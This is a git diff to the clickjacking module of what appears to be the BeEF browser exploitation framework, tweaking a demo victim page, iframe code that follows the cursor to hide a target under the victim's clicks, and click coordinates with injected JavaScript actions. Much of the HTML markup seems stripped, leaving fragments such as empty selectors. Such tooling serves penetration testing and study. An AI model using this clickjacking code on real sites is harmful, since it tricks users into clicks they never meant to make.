diff --git a/extensions/demos/html/clickjacking/clickjack_victim.html b/extensions/demos/html/clickjacking/clickjack_victim.html index 4eea6cda1..afd388f90 100644 --- a/extensions/demos/html/clickjacking/clickjack_victim.html +++ b/extensions/demos/html/clickjacking/clickjack_victim.html @@ -1,9 +1,14 @@ - -
+ + + + +-moooooooo +moooooooo
-moooooooo +moooooooo diff --git a/modules/social_engineering/clickjacking/command.js b/modules/social_engineering/clickjacking/command.js index b11e81325..b49c0652f 100644 --- a/modules/social_engineering/clickjacking/command.js +++ b/modules/social_engineering/clickjacking/command.js @@ -67,7 +67,7 @@ beef.execute(function() { var inner = $j.extend(true, {'border':'none', 'position':'absolute', 'width':'2000px', 'height':'10000px'}, stylesInner); var containerDiv = $j('').css(container).prependTo('body'); - var containerDiv = $j('').appendTo('body'); + var containerDiv = $j('').appendTo('body'); var innerIframe = $j('').attr(params).css(inner).load(callback).prependTo('#' + elems.outerFrame); @@ -80,7 +80,7 @@ beef.execute(function() { var btnObj = $(btnSelector); var outerObj = $(outerSelector); - $(window).mousemove(function(e) { + $("body").mousemove(function(e) { $(outerObj).css('top', e.pageY); $(outerObj).css('left', e.pageX); }); diff --git a/modules/social_engineering/clickjacking/module.rb b/modules/social_engineering/clickjacking/module.rb index d3f5c5d55..653329eb0 100644 --- a/modules/social_engineering/clickjacking/module.rb +++ b/modules/social_engineering/clickjacking/module.rb @@ -31,12 +31,12 @@ class Clickjacking < BeEF::Core::Command {'name' => 'Click_1', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 1' }, {'name' => 'clickaction_1', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'$("#overlay1").data("overlay").close();', 'width' => '400px', 'height' => '50px'}, {'name' => 'iFrameLeft_1', 'ui_label' => 'X-pos', 'value' => '20', 'width'=>'100px' }, - {'name' => 'iFrameTop_1', 'ui_label' => 'Y-pos', 'value' => '50', 'width'=>'100px' }, + {'name' => 'iFrameTop_1', 'ui_label' => 'Y-pos', 'value' => '55', 'width'=>'100px' }, {'name' => 'Click_2', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 2' }, {'name' => 'clickaction_2', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'$(".more-quotes").trigger("click");', 'width' => '400px', 'height' => '50px'}, {'name' => 'iFrameLeft_2', 'ui_label' => 'X-pos', 'value' => '20', 'width'=>'100px' }, - {'name' => 'iFrameTop_2', 'ui_label' => 'Y-pos', 'value' => '123', 'width'=>'100px' }, + {'name' => 'iFrameTop_2', 'ui_label' => 'Y-pos', 'value' => '135', 'width'=>'100px' }, {'name' => 'Click_3', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 3' }, {'name' => 'clickaction_3', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'void(0)', 'width' => '400px', 'height' => '50px'},